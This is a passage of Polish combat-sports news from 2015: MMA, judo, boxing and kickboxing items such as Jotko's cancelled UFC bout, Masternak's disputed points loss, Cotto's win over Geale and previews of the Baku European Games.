Fenomenalny występ Jotki podczas UFC Fight Night – Nelson vs Story i pokonanie Tora Troenga dały Polakowi zastrzyk energii. Wydawało się, że 25-latek stopniowo będzie robił postępy i rozwijał się w UFC. Kontuzja zatrzymała jego marsz na szczyt. Jotko miał wystąpić na UFC w Krakowie, jednak uraz uniemożliwił mu realizację planów. Licznik występów Polaka w najlepszej organizacji mieszanych sztuk walki na świecie zatrzymał się na trzech pojedynkach. Kiedy wydawało się, że w końcu Jotko ruszy do przodu i stoczy kolejną walkę, rywale zaczęli się sypać. Początkowo podczas gali UFC Fight Night w Berlinie rywalem Polaka miał być Derek Brunson. Okazało się, że rywalizacja nie może dojść do skutku z powodu kontuzji Amerykanina. Z pewnością ciśnienie polskiemu zawodnikowi skoczyło, jednak po chwili ustabilizowało się. Brunsona miał zastąpić Uriah Hall. Minęło kilka dni i okazało się, że Jamajczyk z Nowego Jorku ma problemy wizowe. Pojedynek Krzysztofa Jotki został usunięty z karty walk w Berlinie. Polak musi zatem poczekać na swój powrót.

Częstochowa bez KSW

Wielkim wydarzeniem miała być gala najlepszej polskiej organizacji mieszanych sztuk walki w Anglii. Poprzedzać ją miała impreza w Częstochowie, jednak do niej nie dojdzie. Martin Lewandowski i Maciej Kawulski zostali zmuszeni do odwołania gali. Nie przez osoby trzecie, ale przez Halę Widowiskowo – Sportową w Częstochowie.

Gala KSW to ogromne przedsięwzięcie wymagające pracy i zaangażowania wielu osób, ale także i funkcjonalności obiektu, na którym ma miejsce. Hala w Częstochowie nie spełnia wszystkich wymogów. Sprzęt nagłaśniający i oświetleniowy, który miałby zostać podwieszany pod dachem znacznie przewyższa dopuszczalne normy. Niewykluczone, że KSW wróci do Częstochowy.

Pojedynek Borysa Mańkowskiego z Mikhailem Tsarevem, który miał odbyć się w Częstochowie został przeniesiony na galę w Londynie. Pozostałe walki prawdopodobnie będą miały miejsce podczas imprezy w Krakowie.

Naruszczka wraca

32-letni fighter ponownie pojawi się w Polsce, ale nie na gali KSW, lecz PLMMA 56. Doświadczony Naruszczka zmierzy się z Pawłem Brandysem, który ma na swoim koncie dwa zwycięstwa z rzędu. 32-latek zanotował trzy porażki z rzędu, a do Polski wraca po ponad dwóch latach. Ostatni raz Naruszczka w kraju walczył w marcu 2013 roku, kiedy to podczas KSW 22 przegrał z Rafałem Moksem.

KM

Kłys w drodze do Budapesztu

Ostatnia prosta przed Igrzyskami Europejskimi w Baku. W najbliższy weekend (13-14 czerwca) Katarzyna Kłys wystąpi w zawodach Grand Prix w judo, które odbędą się w Budapeszcie.

Brązowej medalistce ubiegłorocznych mistrzostw świata z Czelabińska potrzebne jest przetarcie przed udziałem w Igrzyskach Europejskich. W obecnym sezonie Kłys nie prezentuje tak dobrej formy jak w poprzednim roku, jednak nadal jest czołową postacią polskiej reprezentacji. Wokół judoczki z Rybnika w ostatnich miesiącach narodziło się zamieszanie związane z kwestią trenerską. Ostatecznie po rozmowach z prezesem PZJudo udało się ustalić kompromis. Kłys jest zawodniczką kadry prowadzonej przez Anetę Szczepańską, a nad jej formą czuwa również Artur Kłys. Zamieszanie nie wpłynęło dobrze na dyspozycję zawodniczki, która ma potencjał, aby w Rio de Janeiro sięgnąć po medal. Polka w klasyfikacji olimpijskiej zajmuje wysokie 10. miejsce, co gwarantuje jej start w Brazylii. Po fenomenalnym poprzednim sezonie nadeszła obniżka formy. Weryfikacją możliwości Kłys mają być Igrzyska Europejskie w Baku, do których intensywnie przygotowuje się. Aby być w rytmie judoczka zaliczy jeszcze jeden start – w Grand Prix w Budapeszcie, ale nie będzie tam sama. W zawodach weźmie udział Karolina Pieńkowska, która do Baku się nie wybiera. 21-latka przygotowuje się do lipcowej Uniwersjady w Korei Południowej.

Warto dodać, że pierwsze w historii Igrzyska Europejskie w wykonaniu judoków będą zarazem rywalizacją w mistrzostwach Europy. Powodem takiego stanu rzeczy jest odebranie imprezy Wielkiej Brytanii.  Do Baku wybiera się piętnastoosobowa reprezentacja Polski. Biało – czerwoni intensywnie trenują przed startem w Azerbejdżanie. Reprezentacja Polski mężczyzn obecnie szlifuje formę w Mińsku, gdzie nasi zawodnicy sparują z przeciwnikami z najwyższej półki. 12 czerwca panowie udadzą się na zgrupowanie do Zakopanego.

Wśród naszych zawodników najwyżej stoją akcje Macieja Sarnackiego, który w tym sezonie wygrał zawody na warszawskim Torwarze. Polski judoka utrzymuje dobrą formę od poprzedniego sezonu. Sarnacki jest regularny, skuteczny, ale przytrafiają mu się urazy. Dlatego ważne jest, aby w pełni sił przystępował do kolejnych startów. Wśród pań w tym sezonie imponuje Daria Pogorzelec. Warto zauważyć, że ogromne postępy poczyniła Agata Perenc. Zawodniczka z Rybnika czterokrotnie zdobywała brązowe medale w tym sezonie – Oberwart, Samsun, Zagrzeb i Kluż-Napoca. Warto pamiętać o możliwościach Agaty Ozdoby.

Polacy są na ostatniej prostej przed startem w Baku. Katarzyna Kłys ma przed sobą ostatni sprawdzian formy – Grand Prix w Budapeszcie, gdzie będzie chciała stoczyć jak najwięcej pojedynków, aby wejść we właściwy rytm. Panowie trenują w Mińsku i z nadziejami patrzą w przyszłość. Rywalizacja judoków w Azerbejdżanie odbędzie się w dniach 25-28 czerwca.

KM

Judo Grand Prix: światowe gwiazdy w Budapeszcie

Aż 5 Mistrzów Olimpijskich i 10 Mistrzów Świata wystąpi w ten weekend (13-14 czerwca) wGrand Prix w judo w Budapeszcie. Transmisje na żywo w sobotę i niedzielę od g. 17:00 na antenie FightKlubu. To ostatni sprawdzian przed Igrzyskami Europejskimi połączonymi z Mistrzostwami Europy w Baku.
 
Na liście zgłoszeń do zawodów w węgierskiej stolicy widnieje ponad 400 nazwisk zawodniczek i zawodników z 70 państw. W tym gronie są dwie reprezentantki Polski –Karolina Pieńkowska (-52 kg) i utytułowana Katarzyna Kłys (-70 kg).
 
– Chcę zdobywać doświadczenie oraz punkty do rankingu olimpijskiego. W lipcu czeka mnie uniwersjada w Korei Płd. – powiedziała Karolina Pieńkowska, która w kategorii -52 kg rywalizuje z Agatą Perenc i Zuzanną Pawlikowską. Tylko jedna z polskich zawodniczek wystąpi w Igrzyskach w Rio 2016.
 
Celem brązowej medalistki MŚ 2014 i 2-krotnej Wicemistrzyni Europy Katarzyny Kłys również jest uzyskanie jak największej liczby punktów w Budapeszcie, tym bardziej, że w lipcu nie startuje w Grand Prix w Mongolii i Grand Slamie w Rosji. Będzie przygotowywała się do sierpniowych Mistrzostw Świata w Kazachstanie. Gospodarze liczą na swoje gwiazdy na czele z Miklosem Ungvarim (-81 kg) i Barną Borem ( 100 kg) oraz Evą Csernoviczki (-48 kg) i Abigel Joo (-78 kg).

Zapowiedz:

[kod]

Źródło: materiały prasowe

Na żywo w sobotę: starcie o pas mistrza Europy w wadze junior średniej

W telewizji FightKlub pokażemy kolejny pojedynek o prestiżowy tytuł mistrza Starego Kontynentu, tym razem w kategorii junior średniej. Na gali we włoskiej Brescii o charakterystyczny błękitny pas zawalczą Włoch Orlando Fiordigiglio (21-0, 11 KO) oraz Francuz Cedric Vitu (41-2, 16 KO).Limit 154 funtów to jedna z najlepiej obsadzonych dywizji we współczesnym boksie. Zwycięzca sobotniego pojedynku może uzyskać przepustkę do pojedynków z takimi tuzami, jak bracia Charlo, Demetrius Andrade, Erislandy Lara czy Cornelius Bundrage. Faworytem sobotniej walki wydaje się reprezentujący gospodarzy i niepokonany w 21. walkach Orlando Fiordigiglio. 30-latek z Neapolu był już m.in. mistrzem Unii Europejskiej, więc pełny tytuł EBU jest dla niego naturalny etapem kariery. 29-letni Cedric Vitu po stronie swoich atutów może na pewno zapisać większe doświadczenie (aż 43 walki) oraz odwrotną pozycję. Który z nich będzie górą, przekonamy się w sobotę 13 czerwca. Transmisja od godziny 21:00 wyłącznie w FightKlubie.

Źródło: materiały prasowe

Wymagający Łotysze

Piąta już gala grupy DSF zapowiada się niezwykle ciekawie. We Włocławku odbędzie się finałowy pojedynek turnieju wagi ciężkiej w K-1 oraz mecz Polska – Łotwa w K-1.

Po raz kolejny kickboxing ma podnieść adrenalinę żądnym wrażeń. Tym razem we Włocławku dojdzie do efektywnych i emocjonujących pojedynków. Grupa DSF po raz kolejny zdecydowała się na zorganizowanie meczu z udziałem Polaków, tym razem w rywalizacji z Łotwą. Podczas kwietniowej gali w Warszawie doszło do spotkania z Macedonią, którego poziom był wysoki. Biało-czerwoni pewnie wygrali 3:0 za sprawą Doroty Godziny, Kamila Ruty oraz Łukasza Wichowskiego.

Czy tym razem będzie podobnie? Łotysze rysują się jako przeciwnik, który będzie walczył ambitnie i do samego końca. Tym razem w składzie Polski dojdzie do zmian. W meczu z Łotwą nie zobaczymy Wichowskiego oraz Ruty, a zastąpią ich Arkadiusz Dembiński i Radosław Paczuski. Kolejną walkę w barwach grupy DSF stoczy Dorota Godzina. Posiadaczka mistrzowskiego pasa zmierzy się z Jeleną Ozinską. Dwie piękne panie będą zawzięcie rywalizować, bo mają sobie coś do udowodnienia. Łotyszka chciałaby zrewanżować się Polce, która już kiedyś ją pokonała. Godzina w pojedynkach zawodowych okrzepła i nabrała pewności siebie. Zawodniczka DSF Kickboxing Team jest skuteczna, uważna, a przede wszystkim twarda. Arkadiusz Dembiński z Tom Center Team Piotrków Trybunalski w wadze 86kg spotka się z Reinisem Porozovsem. Polak w swojej karierze sięgnął po brązowy medal mistrzostw Europy. Z kolei jego rywal aż trzykrotnie zajmował trzecie miejsce na mistrzostwach świata. Tym samym przed Dembińskim trudne wyzwanie. W walce wieczoru zaprezentuje się Radosław Paczuski, nowa gwiazda DSF Kickboxing Team. Polak ostatnio imponował formą, co dało mu możliwość sprawdzenia się w rywalizacji z najlepszymi. Mistrz Polski w low kick we Włocławku stanie naprzeciw Artursa Ozolinsa. Łotysz swego czasu był wicemistrzem Europy, z kolei Paczuski w 2013 roku zdobył Puchar Świata K-1. Ozolins to silny zawodnik, który zazwyczaj walczy w wyższej kategorii wagowej. Polak musi uważać na boks Łotysza. Atutem Paczuskiego będzie szybkość i wytrzymałość. Zapowiada się ciekawa rywalizacja, prawdopodobnie bardzo wyrównana – kto wyjdzie z niej zwycięsko?

W finale turnieju wagi ciężkiej spotkają się zawodnicy, którzy awans wywalczyli w kontrowersyjnych okolicznościach. Tomasz Klimiuk pokonał Wojciecha Stawickiego po zaskakującej decyzji sędziego. Z kolei Michał Bławdziewicz dobrze zaczął pojedynek z Patrykiem Proszkiem, a później wyglądał coraz słabiej. Zatem teraz obaj muszą udowodnić, że w finale nie znaleźli się przypadkiem. W extra fight w formule full contact wystąpi Łukasz Wichowski. Jeden z najlepszych specjalistów w Polsce zmierzy się z Piotrem Smoczyńskim. Swoją wartość będzie chciał udowodnić Kamil Ruta, który w K-1 podejmie Patryka Zdrojewskiego z warszawskiej Palestry. Ciekawie zapowiada się starcie Sebastiana Adamskiego i Michała Dykowskiego. Dla obu to szansa, aby na dłużej zawitać w zawodowstwie. Co prawda Adamski stoczył już dwa pojedynki dla grupy DSF, ale nie udało mu się odnieść zwycięstwa. Dykowski zaliczył jeden start zawodowy, który zakończył wygraną.

12 czerwca 2015, Włocławek, gala Grupy DSF – mecz Polska vs Łotwa

KM

Wielki mecz Polska-Łotwa – finałowe odliczanie

To już ostania prosta przed zbliżającą się galą DSF Kickboxing Challenge. W piątek 12 czerwca w Hali Mistrzów skrzyżują swoje rękawice najlepsi kickboxerzy z Polski i Łotwy.

Wieczór wypełni 11 walk, wśród których na specjalne wyróżnienie zasługuje starcie w formule full contact w wadze 81 kg pomiędzy fighterem DSF Team – Łukaszem Wichowskim i zawodnikiem SKKB Politechnika Lublin, Piotrem Smoczyńskim. Chcemy przypomnieć, że Łukasz jest zdobywcą pasa Champion DSF Challenge. Największą atrakcją piątkowych zmagań będzie jednak mecz międzynarodowy Polska-Łotwa, w którym zobaczymy wystąpi dwójka czołowych zawodników DSF Team. Mistrzyni Świata, reprezentantka Polski Dorota Godzina stoczy bój z „podtekstem” z Łotyszką, Jeleną Ozinską. Obie panie miały już okazje spotkać się w ringu. Lepsza wtedy okazała się reprezentantka Polski, która w efektowny sposób znokautowała Jelenę.

""

Wydaje się więc, że ich piątkowy pojedynek zapowiada się bardzo emocjonująco. Drugą niezwykle atrakcyjnie zapowiadającą się walką, będzie pojedynek zawodnika DSF Team, wicemistrza Europy w Muay-Thai, mistrza Polski w K-1 Low Kick, Radosława Paczuskiego z Artursem Ozolinsem, który ma na koncie tytuł mistrza Europy. Tak więc piątkowy wieczór we Włocławku zapowiada się bardzo emocjonująco i miejmy nadzieję, że zapadnie na długo w pamięci fanów sportów walki.

Bilety do kupienia na: eventim, 4bilety, Biletyna, albert, kupbilecik oraz w sprzedaży bezpośredniej w jedynym punkcie we Włocławku: Centrum Rozrywki LUCKY STAR, CH Wzorcownia, bud.D, II p.

Posted in Bez kategorii

Baku – sprawdzian przed Las Vegas?

Czy taki charakter dla polskich zapaśniczek będą miały I Igrzyska Europejskie? Start w Baku jest testem przed mistrzostwami świata, ale zarazem okazją do odniesienia sukcesu. 

A nasze zawodniczki stać na miejsce na podium. W tym sezonie polskie zapaśniczki prezentują równą i stabilną formę. Wystarczy przeanalizować kilka startów, aby przekonać się, że poziom sportowy jest na przyzwoitym poziomie. W dobrej dyspozycji znajdują się Iwona Matkowska (48kg) oraz Katarzyna Krawczyk (55kg). Obie zawodniczki znalazły się w czołówce podczas zawodów Klippan Lady Open i Grand Prix w Paryżu. Matkowska, która trenuje w zespole Grunwaldu Poznań sięgnęła po srebro oraz brąz, z kolei reprezentująca Cement Gryf Poznań Krawczyk zdobyła dwa brązowe krążki. Ponadto, w Paryżu trzecie miejsce wywalczyła Roksana Zasina (53kg). Sprawdzianem dyspozycji dla naszej reprezentacji był występ w Pucharze Świata w Sankt Petersburgu. Polska miała okazję rywalizować z najlepszymi. Biało – czerwone w grupie przegrały z Japonią, Azerbejdżanem i USA, a w potycze o siódme miejsce okazały się lepsze od Szwedek. Doświadczenie obecnego sezonu pokazuje, że Polki wykazują wolę walki i chcą osiągać sukcesy.

Aby realizować postawione cele niezbędnym elementem jest okres przygotowawczy. Reprezentacja Polski kobiet już na początku roku odbyła zgrupowanie w Wiśle. Ważnym testem dla naszych zapaśniczek był pobyt w Mongolii. W Ułan Bator Polki miały okazję szlifować formę podczas ciężkich treningów oraz wymagających sparingów. Nasze zawodniczki wzięły udział w turnieju Mongolia Open, w którym miały okazję zmierzyć się z zapaśniczkami z Japonii, Mongolii, Kazachstanu oraz USA. Srebro trafiło do rąk Moniki Michalik (63kg), brąz wywalczyła Agnieszka Wieszczek – Kordus (69kg). Polki trenowały również w niemieckim Hennef, a ostatnio szlifowały formę w Spale.

Igrzyska Europejskie w Baku będą poważnym sprawdzianem dla naszych zawodniczek. Łatwo o sukces nie będzie, gdyż zapaśniczki zza wschodniej granicy prezentują wysoki poziom. Reprezentantki Rosji i Ukrainy będą niezwykle groźne, a warto pamiętać także o Łotyszkach. Z pewnością o medal może powalczyć doświadczona Monika Michalik. Zawodniczka Grunwaldu jest niezwykle utytułowana. Warto odnieść się do jej sukcesów podczas mistrzostw Europy, gdzie wywalczyła trzy złote, trzy srebrne oraz trzy brązowe medale. Michalik w tym sezonie pokazała, że stać ją na dobre występy. W tegorocznych startach równą formę prezentowała Iwona Matkowska, co daje nadzieję na medal w Azerbejdżanie.  Szansę w Baku dostanie Daria Osocka (75kg), która zdobyła złoty medal podczas młodzieżowych mistrzostw Europy w Wałbrzychu. Zapaśniczka robi ustawiczne postępy i wszyscy z nadzieją patrzą na jej rozwój. Warto pamiętać również o doświadczonej Agnieszce Wieszczek – Kordus.

Igrzyska Europejskie w Baku będą historycznym wydarzeniem. Zawody odbędą się po raz pierwszy. Zarazem będzie to okazja do zapisania się na kartach historii. Nasze zapaśniczki po starcie w Baku czeka kolejny istotny turniej. Walka o kwalifikację olimpijską, czyli start na mistrzostwach świata w Las Vegas.

Kadra Polski na Igrzyska Europejskie w Baku: Iwona Matkowska (48kg), Roksana Zasina (53kg), Katarzyna Krawczyk (55kg), Paulina Grabowska (58kg), Monika Michalik (63kg), Agnieszka Wieszczek-Kordus (69kg), Daria Osocka (75kg).

Igrzyska Europejskie rozpoczą się 12 czerwca, a zakończą 28 czerwca.

KM

Nieudana podróż Masternaka

Miało być inaczej. Mateusz Masternak mógł otworzyć sobie furtkę do walki o mistrzostwo świata, jednak nie udało się. Nie tyle z winy polskiego pięściarza, co w wyniku kontrowersyjnej decyzji sędziów.

„Master” pojechał do Republiki Południowej Afryki, aby skrzyżować rękawice z Johnny’m Mullerem. Rywal Polaka przeważnie walczył u siebie z pozytywnym efektem. Jedyny wyjazd w swojej karierze Muller zanotował do Monte Carlo i nie ma z tego wypadu najlepszych wspomnień. Do tej pory poniósł cztery porażki, wszyscy liczyli, że Masternak będzie autorem kolejnej przegranej zawodnika z RPA.

Polak miał świadomość stawki walki. Doskonale wiedział, że zwycięstwo przybliży go do walki o mistrzostwo świata. Od samego początku dominował, wyprowadzał więcej celnych ciosów i był skuteczniejszy.  W pierwszej odsłonie „Master” dał się zaskoczyć prawym sierpowym, jednak później zachowywał należytą ostrożność. Kolejna runda ułożyła się po myśli Polaka. Intensywna praca sprawiła, że w końcu znalazł doskonałą drogę, aby uszkodzić rywala dwoma sierpami. Masternak był aktywny, a jego rywal powoli siadał. Pierwszy kryzys reprezentant RPA miał w trzeciej rundzie, kiedy Polak trafił kombinacją lewy-prawy. Potężna bomba zrobiła wrażenie na Mullerze, który musiał w narożniku wysłuchać uwag swojego szkoleniowca. Słowa podziałały na zawodnika z RPA. Muller starał się zaskoczyć Masternaka, ale ten kontrował przebieg pojedynku.

Piąta runda była pokazem potencjału byłego mistrza Europy wagi junior ciężkiej. Raz za razem „Master” trafiał rywala. W końcu po lewym prostym Polaka Muller padł na deski. Był w szoku. Zebrał kilka potężnych ciosów, które zrobiły na nim wrażenie i wprawiły w zakłopotanie. Najlepsza okazja, aby wykończyć rywala, jednak w szóstej rundzie reprezentant RPA ruszył do przodu. „Master” musiał się bronić. W siódmej rundzie ponownie dominował Polak, który pokazał swojemu rywalowi, kto rządzi w ringu. Muller był bezradny. Masternak raz za razem słał na szczękę swojego przeciwnika kolejne ciosy. Po kombinacji lewy-prawy Muller znalazł się na deskach. Udało mu się wstać i kontynuować walkę, jednak Polak pokazał, że jest zdecydowanie lepszy. „Master” panował w ringu i słał kolejne ciosy w kierunku zawodnika z RPA. W ósmej rundzie sędzia poprosił o konsultację lekarską, gdyż z  powieki Mullera płynęła krew.

Do końca pojedynku zawodnik gospodarzy utrzymał się na nogach, ale zebrał jeszcze kilka ciosów. Sam starał się trafić Masternaka, jednak Polak skutecznie torpedował jego zapędy. Wydawało się, że po dziesięciu rundach wszystko jest jasne i zwycięzca może być tylko jeden. Dokładnie – wydawało się. Potwierdza się, że można coś widzieć, ale nie zawsze pokrywa się to z opinią innych – zwłaszcza tych, którzy podejmują decyzję. W oczach sędziów triumfował Muller. Dwóch arbitrów punktowało 95:93 dla zawodnika z RPA, jeden widział zwycięstwo „Mastera”. Polak dwa razy posłał rywala na deski, dominował, wyprowadzał celne ciosy, a mimo to przegrał. Sędziowie funkcjonowali w innej rzeczywistości. Prawdopodobnie dojdzie do rewanżowego starcia między Masternakiem i Mullerem.

KM

Cotto utrzymał się na szczycie

Portorykańczyk miał za zadanie pokonać Daniela Geale’a. Miguel Cotto zrealizował plan i obronił tytuł mistrza świata wagi średniej federacji WBC.

Na ringu w Barclays Center doszło do starcia dwóch mocnych pięściarzy. Zarówno Cotto jak i Geale nadal głęboko wierzą w swoje możliwości i chcą utrzymać się na szczycie. Australijczyk w 2014 roku przegrał prestiżowy pojedynek z Gennady’m Gołovkinem, jednym z najlepszych pięściarzy wagi średniej. Ostatnimi czasy forma Geale’a jest niestabilna, a raczej należy powiedzieć, że nie radzi sobie w rywalizacji z utytułowanymi bokserami. Nie inaczej było z Cotto. Portorykańczyk wrócił na właściwą drogę po trudnym dla siebie 2012 roku, kiedy to zanotował dwie porażki. Cotto musiał uznać wyższość Astina Trouta i Floyda Mayweathera Jr. Teraz jest na innym etapie swojej kariery. Nadal jest czołową postacią wagi średniej i nie powiedział jeszcze ostatniego słowa. Cotto i Geale są w podobnym wieku (Portorykańczyk jest rok starszy – 35 lat), ale na zupełnie innym etapie rozwoju swojej przygody z boksem. Na ringu w Nowym Jorku było to nadto widoczne.

Cotto od początku rozdawał karty w tym pojedynku. Mistrz świata WBC konsekwentnie atakował korpus rywala, co przynosiło pożądane efekty. Geale otwierał się i Cotto wykorzystywał okazję. W pierwszej rundzie Australijczyk zaatakował prawym sierpowym, ale odpowiedź Portorykańczyka była natychmiastowa.  Cotto był konsekwentny i ranił kolejnymi sierpami przeciwnika. Geale, który zawsze imponował pracą nóg, tym razem nie wykorzystał tego atutu. Portorykańczyk szybko stopował wszelkie zapędy rywala. Tak naprawdę pojedynek nie rozkręcił się. W czwartej rundzie pięściarze ruszyli na siebie. Nie zawsze byli skuteczni – obaj przestrzelili swoje pierwsze ciosy, a za już chwilę poprawili celowniki. Z tym, że szybszy był Cotto. Lewy sierp Portorykańczyka wpasował się w szczękę Geale’a i ten padł na deski. Australijczyk wstał i kontynuował pojedynek, jednak był w szoku. Cios Cotto zrobił na nim wrażenie, wystarczyło dokończyć dzieła. A mistrz świata WBC to doświadczony pięściarz, który doskonale wie, co należy robić w takich sytuacjach. Cotto doskoczył do rywala i po chwili postawił kropkę nad „i”. Po krótkim prawym Geale po raz drugi padł na deski. Wstał, ale nie był w stanie kontynuować walki.

Czterdzieste zwycięstwo w karierze Cotto okazało się faktem. Po raz trzydziesty trzeci Portorykańczyk zakończył walkę przed czasem. Co dalej? Przed Cotto staną kolejne wyzwania, pytanie – kto będzie kolejnym rywalem mistrza świata WBC? Coraz głośniej mówi się o rywalizacji Portorykańczyka z Giennadijem Gołovkinem.  Możliwe, że Cotto będzie chciał rewanżowej walki z Floydem Mayweatherem Jr. Każdy z tych scenariuszy gwarantuje walkę na najwyższym poziomie. Pytanie – czy Cotto wyjdzie na ring jeszcze w tym roku?

Fot. zdjęcie poglądowe

KM

Polsko-czeczeńska fuzja

Współpraca jest jednym z elementów, który pozwala  rozwijać się i zwiększać własny potencjał. Tą drogą postanowił iść Arrachion Olsztyn – jeden z najlepszych klubów MMA w Polsce.

Nie ulega wątpliwości, że trening czyni mistrza. A trenować wśród najlepszych to marzenie wielu. Istotnym elementem sportów walki jest nieustanna rywalizacja i doskonalenie swoich umiejętności, aby wejść na szczyt. Kolejne litry potu, ogromna ilość sparingów mają na celu jak najlepsze przygotowanie zawodnika do kolejnej walki. Arrachion Olsztyn na mapie polskich klubów MMA stał się miejscem kojarzonym z profesjonalizmem. Z warmińskim teamem związane są takie nazwiska jak Mamed Khalidov, Aslambek Saidov, Karol Celiński czy mistrzyni UFC Joanna Jędrzejczyk. Do miana sławy urosło nazwisko Pawła Derlacza, który trenuje gwiazdy. Małgorzata Bońkowska, Szymon Bońkowski czy Łukasz Porębski również potrafią perfekcyjnie przygotować zawodnika do pojedynku. Jednak Arrachion  nie zamyka się w swoim gronie, ale szuka możliwości zwiększenia swojego kapitału.

Od teraz klub, w którym na co dzień trenuje Mamed Khalidov będzie nazywał się Berkut Arrachion Olsztyn. Dlaczego? Olsztyński team podjął decyzję o fuzji z czeczeńskim Berkut Fight Club Grozny. Ciekawa inicjatywa, która obu stronom ma zapewnić możliwość rozwoju. Nie tylko na gruncie sportowym, ale również organizacyjnym. Z fuzji dwóch zespołów skorzystają zarówno zawodnicy jak i trenerzy. Dla fighterów jest to możliwość wspólnego uczestniczenia w obozach przygotowawczych. Ponadto, pojawia się szansa dostępu do większej ilości sparingpartnerów. Warto zauważyć, że dla polskiego zespołu jest to szansa spotkania się z twardymi fighterami. Powszechnie wiadomo, że zawodnicy ze wschodu należą do kategorii mocnych. Należy podkreślić fakt, że niejako Khalidov i Saidov przy okazji będą mieli okazję współpracować ze swoimi krajanami. Również na poziomie trenerskim pojawia się okazja do wymiany doświadczeń.

Głównym inicjatorem zapoczątkowania współpracy między klubami był Mairbek Khasiev. Właściciel gruzińskiej ekipy nie zamierza poprzestać na tym krokiem. Dla Khasieva zawiązanie współpracy z Arrachionem to dopiero początek. Zamierza on dalej rozwijać swoją potęgę i tworzyć kolejne filie klubu. Na jego celowniku znalazły się Stany Zjednoczone i Tajlandia. Czy Khasiev utworzy swoje mocarstwo?

Nie ulega wątpliwości, że owa inicjatywa jest działaniem, które może przynieść korzyści obu stronom. Potrzeba jest wola wspólnego działa, aby współpraca była aktywna, a nie bierna. Wtedy istnieje duże prawdopodobieństwa osiągnięcia sukces. Khasiev chce dokonać ekspansji swojej marki. Nie ma w tym nic złego. To jego cel, ale przy okazji współpraca drużyny z Groznego i Olsztyna może wydać owoce na polu zyskania doświadczenia przez zawodników i sztab trenerski. Być może w ten sposób na polski rynek trafią kolejni ciekawi fighterzy, którzy podniosą poziom rywalizacji w naszym kraju.

KM

Kadeci robią postępy

Czas biegnie. Turniej za turniejem, jednak są momenty wyjątkowe, kiedy dostrzega się szczególną wartość towarzyszącą wydarzeniom, w których się uczestnicy. W Bielsku – Białej odbędzie się Puchar Europy Kadetów w judo.

Cieszy, że kolejne tego typu zawody odbędą się w Polsce. Do naszego kraju zjadą najsilniejsze ekipy w judo, które postarają się zaprezentować najwyższy poziom. Ale nie tylko to jest powodem radości. Polska staje się krajem, który cieszy się coraz większym zaufaniem światowych władz. Po drugie, nasi kadeci nie są anonimowi i mogą pokusić się o medale. To jest piękne. Fakt, że nie użyczamy tylko przestrzeni, lecz możemy aktywnie uczestniczyć w rywalizacji i żywić nadzieje na sukces.

W tym sezonie siedmioro polskich judoków w kategorii kadetów cieszyło się z wywalczenia miejsca na podium w zawodach międzynarodowych. Bez wątpienia największy sukces odniosła Angelika Szymańska (57kg), która triumfowała w Zagrzebiu. Polka wygrała pięć pojedynków. W jednej z walk spotkała się z utytułowaną Białorusinką Ulyaną Minenkovą. Dobrą formę utrzymuje Barbara Kulik, która stanęła na podium dwukrotnie. W Fuengiroli sięgnęła po srebro, a w Teplicach po brąz. O krok od medalu była w Berlinie, ale ostatecznie nie udało się stanąć na podium. Dobry poziom utrzymuje Maciej Krogulski (73kg). Polski judoka był drugi w Hiszpanii, trzeci we Włoszech, a w Chorwacji uplasował się tuż za podium – był piąty. Z kolei Eryk Ryciak w Kluż-Napoca doszedł do finału, jednak w decydującej walce poległ. Mimo to srebrny medal jest dużym osiągnięciem młodego Polaka. Do grona medalistów w zawodach Pucharu Świata weszli Vannessa Machnicka (52kg) i Iwo Baranowski (81kg), którzy w Hiszpanii stanęli na trzecim miejscu podium. Z kolei Anna Dąbrowska (57kg) zdobyła brąz w czeskich Teplicach. Warto nadmienić, że Polacy zajmowali również punktowane miejsca w zawodach.

Teraz przed naszymi kadetami kolejne wyzwanie. Muszą pokazać się z jak najlepszej strony na własnym terenie. Czy Polacy powtórzą ubiegłoroczny wyczyn? Wtedy wywalczyli sześć medali. Szansę na powtórzenie swojego rezultatu w Bielsku-Białej będzie miała Anna Dąbrowska, która w tym sezonie pokazała już swoje bogate możliwości. Rok temu sięgnęła po srebrny medal, ale nie był to jedyny krążek tego koloru. Drugie miejsce w kategorii 52kg zajęła Klaudia Cieślik. Cztery brązowe medale zdobyli: Julia Kowalczyk -57 kg, Daria Tylmann +70 kg, Jakub Ozimek -90 kg i Bartłomiej Zawadzki +90 kg.

W Bielsku zapowiada się ciekawa rywalizacja, gdyż do Polski przyjadą mocne ekipy. Zgłoszono ponad pięciuset zawodniczek i zawodników z dwudziestu sześciu państw. W Polsce zjawią się Japończycy, którzy na każdych zawodach są w czołówce, a także Francuzi, Gruzini i Ukraińcy, czyli ekipy prezentujące wysoki poziom. Puchar Europy kadetów w Bielsku będzie dobrym przetarciem przed mistrzostwami Europy w Sofii. Polacy będą chcieli poprawić wynik z poprzedniego roku – czy ta sztuka im się uda?

Dwa dni w Bielsku z pewnością przyniosą wiele wrażeń. 6-7 czerwca, Bielsko Biała – Puchar Europy kadetów w judo.

KM

Po medale do Rimini

Puchar Świata w kickboxingu w Rimini – WAKO Bestfighter obchodzi swój jubileusz. Będzie to już dwudziesta edycja zawodów we włoskim mieście. Polacy postarają się, jak zawsze zresztą, o dobry wynik.

Do Rimini wybrała się dwudziestosiedmioosobowa kadra Polski. Mieszanka młodości, polotu i fantazji z doświadczeniem, rutyną i wytrwałością. Ciekawe połączenie, które ma gwarantować sukces. Zresztą należy pamiętać, że z każdych zawodów kadra Polski w kickboxingu zwykła przywozić worek medali.

Kickboxing rozwija się. W Polsce cieszy się coraz większą popularnością i trafia do świadomości społecznej. Nasi zawodnicy są gwiazdami światowego formatu. Jedni odnoszą sukcesy na poziomie amatorskim, inni starają się je łączyć z zawodowstwem, a kolejni zdobywają doświadczenie w Tajlandii.

Zawody w Rimini należą do  prestiżowych i dla wielu są wyzwaniem. To najstarszy i największy turniej na świecie, cieszący się ogromną popularnością. Najliczniej Polacy zaprezentują się w full contact, ale przed naszymi zawodnikami występy w kick light i low kick. Z pewnością z presją startu we Włoszech muszą zmierzyć się debiutanci: Mateusz Parat (67kg) i Michał Grzesiak (91kg). Obaj chcą sprawdzić swoje umiejętności w rywalizacji z fighterami ze świata, jednak zgodnie przyznają, że od medalu uciekać nie będą. Dobre wspomnienia z Włoch ma Mateusz Kubiszyn (86kg), który rok temu triumfował podczas zawodów w Lignano. Polski fighter liczy, że uda mu się powtórzyć sukces i odnieść triumf w Rimini. W tym roku z dobrej strony pokazał się w Dublinie, gdzie sięgnął po brąz. Na zdobycie kolejnych doświadczeń w kategorii 63,5kg liczy Jakub Pokusa. Rok temu w Rimini zajął 5.miejsce podczas mistrzostw świata juniorów. Kandydatami do medalu podczas włoskiego turnieju 